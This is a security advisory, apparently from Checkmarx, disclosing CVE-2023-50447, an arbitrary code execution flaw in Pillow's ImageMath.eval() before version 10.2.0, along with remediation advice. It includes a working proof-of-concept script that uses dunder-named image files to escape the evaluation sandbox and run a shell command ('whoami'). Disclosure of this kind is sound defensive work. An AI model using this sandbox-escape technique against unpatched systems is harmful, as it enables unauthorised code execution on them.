Disclosed vulnerabilities
Fixed: Jan 2, 2024
CVE-2023-50447 Published: Jan 2, 2024

Arbitrary Code Execution in Pillow

9 Critical Severity arbitrary code execution
Duarte Santos Reported by Checkmarx Zero

Summary

A critical security flaw is present in the Python Pillow package in versions prior to 10.2.0. If an attacker has control over the keys passed to the environment argument of PIL.ImageMath.eval(), they may be able to execute arbitrary code. To prevent this, keys matching the names of builtins and keys containing double underscores will now raise a ValueError.

Product

This vulnerability affects the Python Pillow package in versions prior to 10.2.0.

Impact

This vulnerability allows to execute arbitrary code.

Steps to reproduce

  1. Create a .py file with the code:
from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)
  1. Create the following 5 images in the same directory as the Python file: “__class__”, “__bases__”, “__subclasses__”, “load_module”, and “system”;
  2. Execute the Python file.

Expected result:

Executing whoami displays the username of the currently logged-in user.

Remediation

A fix was released, where keys matching the names of builtins and keys containing double underscores will now raise a ValueError. Users are recommended to upgrade to version 10.2.0, which includes this fix.

Credit

This issue was discovered and reported by Checkmarx AppSec Analyst Duarte Santos.

Resources

  1. Release Note
  2. Commit
  3. Blog Post

Stay connected and never miss a research update!